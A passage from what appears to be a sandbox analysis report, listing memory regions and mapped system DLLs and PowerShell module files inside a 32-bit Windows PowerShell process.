"\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 1801 start_va = 0x4aa0000 end_va = 0x4e9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004aa0000" filename = "" Region: id = 1808 start_va = 0x23b0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 1809 start_va = 0x4ae0000 end_va = 0x4b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ae0000" filename = "" Region: id = 1810 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 1825 start_va = 0x960000 end_va = 0x99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 1826 start_va = 0x4b70000 end_va = 0x4baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b70000" filename = "" Region: id = 1827 start_va = 0x71bf0000 end_va = 0x71c05fff monitored = 0 entry_point = 0x71bf13df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 1828 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 1837 start_va = 0x71e30000 end_va = 0x71eb3fff monitored = 0 entry_point = 0x71e319a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 1838 start_va = 0x4bb0000 end_va = 0x4d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004bb0000" filename = "" Region: id = 1841 start_va = 0x71be0000 end_va = 0x71be9fff monitored = 0 entry_point = 0x71be4ab0 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 1842 start_va = 0x4bb0000 end_va = 0x4caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004bb0000" filename = "" Region: id = 1843 start_va = 0x4d10000 end_va = 0x4d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d10000" filename = "" Region: id = 1847 start_va = 0x4d20000 end_va = 0x4d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d20000" filename = "" Region: id = 1848 start_va = 0x4dc0000 end_va = 0x4dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004dc0000" filename = "" Region: id = 1849 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 1853 start_va = 0x2150000 end_va = 0x218ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 1854 start_va = 0x4d60000 end_va = 0x4d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d60000" filename = "" Region: id = 1855 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1862 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1865 start_va = 0x240000 end_va = 0x240fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1877 start_va = 0x290000 end_va = 0x296fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1878 start_va = 0x240000 end_va = 0x240fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1879 start_va = 0x290000 end_va = 0x296fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1887 start_va = 0x240000 end_va = 0x240fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1888 start_va = 0x240000 end_va = 0x246fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1889 start_va = 0x240000 end_va = 0x240fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1890 start_va = 0x240000 end_va = 0x246fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1891 start_va = 0x240000 end_va = 0x240fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1892 start_va = 0x240000 end_va = 0x246fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1902 start_va = 0x920000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 1903 start_va = 0x21d0000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 1904 start_va = 0x22a0000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1905 start_va = 0x4e50000 end_va = 0x4e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e50000" filename = "" Region: id = 1906 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 1907 start_va = 0x7ef98000 end_va = 0x7ef9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 1914 start_va = 0x6b320000 end_va = 0x6bb39fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data\\df2dd09ed7c341842a104e1e668f184e\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.data\\df2dd09ed7c341842a104e1e668f184e\\system.data.ni.dll") Region: id = 1918 start_va = 0x6afc0000 end_va = 0x6b313fff monitored = 1 entry_point = 0x6b2f7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1920 start_va = 0x74da0000 end_va = 0x74dd4fff monitored = 0 entry_point = 0x74da145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1923 start_va = 0x75c30000 end_va = 0x75c35fff monitored = 0 entry_point = 0x75c31782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1934 start_va = 0x4e90000 end_va = 0x51e0fff monitored = 1 entry_point = 0x51c7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1935 start_va = 0x4e90000 end_va = 0x51e0fff monitored = 1 entry_point = 0x51c7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1936 start_va = 0x4e90000 end_va = 0x51e0fff monitored = 1 entry_point = 0x51c7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1937 start_va = 0x4e90000 end_va = 0x51e0fff monitored = 1 entry_point = 0x51c7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1938 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 1941 start_va = 0x6d630000 end_va = 0x6dda3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\15af16d373cf0528cb74fc73d365fdbf\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\15af16d373cf0528cb74fc73d365fdbf\\system.xml.ni.dll") Region: id = 1945 start_va = 0x71ab0000 end_va = 0x71bdffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\e114780fd3ea5727401c06ea4f22ef35\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.management\\e114780fd3ea5727401c06ea4f22ef35\\system.management.ni.dll") Region: id = 1949 start_va = 0x6ae90000 end_va = 0x6afbbfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\system.directoryservices.ni.dll") Region: id = 1952 start_va = 0x74960000 end_va = 0x74962fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 1953 start_va = 0x72180000 end_va = 0x72208fff monitored = 1 entry_point = 0x72181130 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 1957 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1961 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1964 start_va = 0x6ae30000 end_va = 0x6ae83fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\microsoft.powershell.security.ni.dll") Region: id = 1972 start_va = 0x2170000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 1973 start_va = 0x4d70000 end_va = 0x4daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d70000" filename = "" Region: id = 1974 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1975 start_va = 0x6ad70000 end_va = 0x6ae27fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Transactions\\3d760b4a3260a41ef84a3fd866780980\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.transactions\\3d760b4a3260a41ef84a3fd866780980\\system.transactions.ni.dll") Region: id = 1978 start_va = 0x71a60000 end_va = 0x71aabfff monitored = 1 entry_point = 0x71a7fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1981 start_va = 0x23f0000 end_va = 0x243bfff monitored = 1 entry_point = 0x240fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1983 start_va = 0x23f0000 end_va = 0x243bfff monitored = 1 entry_point = 0x240fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1984 start_va = 0x23f0000 end_va = 0x243bfff monitored = 1 entry_point = 0x240fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1985 start_va = 0x23f0000 end_va = 0x243bfff monitored = 1 entry_point = 0x240fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1992 start_va = 0x6ad60000 end_va = 0x6ad67fff monitored = 0 entry_point = 0x6ad610e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2000 start_va = 0x2170000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 2001 start_va = 0x4e10000 end_va = 0x4e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e10000" filename = "" Region: id = 2002 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 2004 start_va = 0x71ec0000 end_va = 0x71fc4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\96f7edb07b12303f0ec2595c7f3778c7\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\96f7edb07b12303f0ec2595c7f3778c7\\system.configuration.ni.dll") Region: id = 2008 start_va = 0x4e90000 end_va = 0x4f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e90000" filename = "" Region: id = 2009 start_va = 0x6ace0000 end_va = 0x6ad5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.management.infrastructure.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\Microsoft.Management.Infrastructure.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\microsoft.management.infrastructure.ni.dll") Region: id = 2014 start_va = 0x6ac90000 end_va = 0x6acd6fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.numerics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Numerics\\e7d6ed984300c7212c6e682c4f730b1e\\System.Numerics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.numerics\\e7d6ed984300c7212c6e682c4f730b1e\\system.numerics.ni.dll") Region: id = 2018 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 2021 start_va = 0x340000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2023 start_va = 0x350000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 2027 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2028 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 2031 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 2034 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 2037 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2042 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2045 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 2048 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 2049 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 2052 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2056 start_va = 0x6aaf0000 end_va = 0x6ac87fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.csharp.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.CSharp\\f73f48afb5512225dedaee9c88ac5050\\Microsoft.CSharp.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.csharp\\f73f48afb5512225dedaee9c88ac5050\\microsoft.csharp.ni.dll") Region: id = 2058 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 2061 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 2066 start_va = 0x8f0000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 2068 start_va = 0x8f0000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 2070 start_va = 0x900000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 2073 start_va = 0x4fb0000 end_va = 0x4feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004fb0000" filename = "" Region: id = 2074 start_va = 0x5070000 end_va = 0x59fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005070000" filename = "" Region: id = 2075 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 2076 start_va = 0x73aa0000 end_va = 0x73b1ffff monitored = 0 entry_point = 0x73ab37c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2077 start_va = 0x5a00000 end_va = 0x5b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a00000" filename = "" Region: id = 2083 start_va = 0x5a00000 end_va = 0x5adefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005a00000" filename = "" Region: id = 2084 start_va = 0x5b20000 end_va = 0x5b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b20000" filename = "" Region: id = 2091 start_va = 0x2160000 end_va = 0x219ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 2092 start_va = 0x4aa0000 end_va = 0x4adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004aa0000" filename = "" Region: id = 2093 start_va = 0x7ef92000 end_va = 0x7ef94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 2094 start_va = 0x73a90000 end_va = 0x73a9dfff monitored = 0 entry_point = 0x73a91235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2100 start_va = 0x4cb0000 end_va = 0x4ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004cb0000" filename = "" Region: id = 2101 start_va = 0x4e00000 end_va = 0x4e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 2102 start_va = 0x4f40000 end_va = 0x4f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f40000" filename = "" Region: id = 2103 start_va = 0x5ae0000 end_va = 0x5b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ae0000" filename = "" Region: id = 2104 start_va = 0x7ef8c000 end_va = 0x7ef8efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 2105 start_va = 0x7ef8f000 end_va = 0x7ef91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 2125 start_va = 0x900000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 2132 start_va = 0x4d80000 end_va = 0x4dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d80000" filename = "" Region: id = 2133 start_va = 0x5c20000 end_va = 0x5c5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c20000" filename = "" Region: id = 2134 start_va = 0x7ef89000 end_va = 0x7ef8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 2138 start_va = 0x5010000 end_va = 0x504ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005010000" filename = "" Region: id = 2139 start_va = 0x5c80000 end_va = 0x5cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c80000" filename = "" Region: id = 2140 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2142 start_va = 0x9e0000 end_va = 0x9f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 2155 start_va = 0x910000 end_va = 0x911fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 2156 start_va = 0x5cc0000 end_va = 0x60bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005cc0000" filename = "" Region: id = 2157 start_va = 0xa00000 end_va = 0xa01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 2158 start_va = 0x5cc0000 end_va = 0x60bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005cc0000" filename = "" Region: id = 2160 start_va = 0x5cc0000 end_va = 0x5dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005cc0000" filename = "" Region: id = 2168 start_va = 0x910000 end_va = 0x910fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 2169 start_va = 0x5dc0000 end_va = 0x61bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005dc0000" filename = "" Region: id = 2170 start_va = 0xa00000 end_va = 0xa00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 2172 start_va = 0x5dc0000 end_va = 0x61bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005dc0000" filename = "" Region: id = 2173 start_va = 0x4b20000 end_va = 0x4b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b20000" filename = "" Region: id = 2174 start_va = 0x5dc0000 end_va = 0x5dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005dc0000" filename = "" Region: id = 2175 start_va = 0x7ef89000 end_va = 0x7ef8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 2184 start_va = 0x6a910000 end_va = 0x6aae6fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\microsoft.powershell.commands.management.ni.dll") Region: id = 2186 start_va = 0x6a8e0000 end_va = 0x6a907fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\system.configuration.install.ni.dll") 